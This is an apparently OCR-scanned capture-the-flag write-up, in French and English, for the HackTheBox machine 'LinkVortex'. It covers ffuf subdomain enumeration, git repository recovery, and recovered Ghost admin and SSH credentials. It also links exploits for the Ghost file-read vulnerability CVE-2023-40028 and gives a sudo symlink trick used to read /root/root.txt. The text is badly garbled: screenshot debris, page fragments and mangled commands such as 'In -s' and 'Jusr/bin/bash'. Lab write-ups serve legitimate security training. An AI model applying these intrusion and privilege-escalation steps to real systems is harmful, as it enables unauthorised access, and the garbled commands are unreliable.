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KaliLinux §& KaliTools = Kali Docs & Kali Forums e\ Kali NetHunter

Jser-agent: *

Plusieurs techniques d'énumération intéressantes :

uniscan -u @IP --qweds

ffuf -u http://linkvortex.htb/ -w /home/kali/Downloads/SecLists-master/Discovery/Web-Content/big.txt -H
"Host:FUZZ.linkvortex.htb" -mc 200 (Subdomain enumeration)

1FUZZ.linkvortex.htb" -mc
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http://linkvortex.htb/

O R linkvortex.htb

aliTools = KaliDocs % KaliForums e Kali NetHunter Exploit-DB Google Hacking

LAUNCHING SOON

Our website is under construction. We’'ll be here soon with
our new and exciting site.

Extensions: HTTP method:

Output File

Startin

Avec githack on récupére le reposiroty git :
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& linkvortex.h

Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Online - Reverse Shell ... 3 neo4j@neo4j://localh... £ savd

Sign in to BitByBit
Hardware.

Email address

Password

Sign in
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& Ghostmanual Ghost(Pro) FAQ

« Back to FAQ

Get started here

Login from your site

You can also log in directly from your publication, by appending I t to the end of
your site URL

For example, you can login by going to y ) , OR, you can also
use your ghost.io site address, 1 ) t st . Either method will take
you directly to your site's login page so that login credentials can be entered for

access

email = 'te

password =

USERNAME - admin@linkvortex.htb
PASSWORD - OctopiFociPilfer45

Exploit

https://security.snyk.io/vuln/SNYK-JS-GHOST-5843513

https://github.com/Oxyassine/CVE-2023-40028/tree/master

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
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OSCP_WORK |/ Linux /| Linkvortex

Dockerfile.ghost

pen + 0

FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.listx fusr/bin/apt-ge
dpkg /usr/bin/dpkeg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first

COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh

RUN chmod +x /var/lib/ghost/wait-for-it.sh

RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
cMp ["node”, "current/index.js"]

On trouve un ssh login :
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bob®@linkvortex.htb
fibber-talented-worth

bobmiinﬁuurtex:
Matchi efaul

bob@linkvortex

/usr/bin/bash /opt/ghost/clean_symlink.sh *.png

In -s /root/root.txt pwn.txt

In -s /root/root.txt pwn.png

sudo Jusr/bin/bash /opt/ghost/clean_symlink.sh
/home/bob/pwn.png
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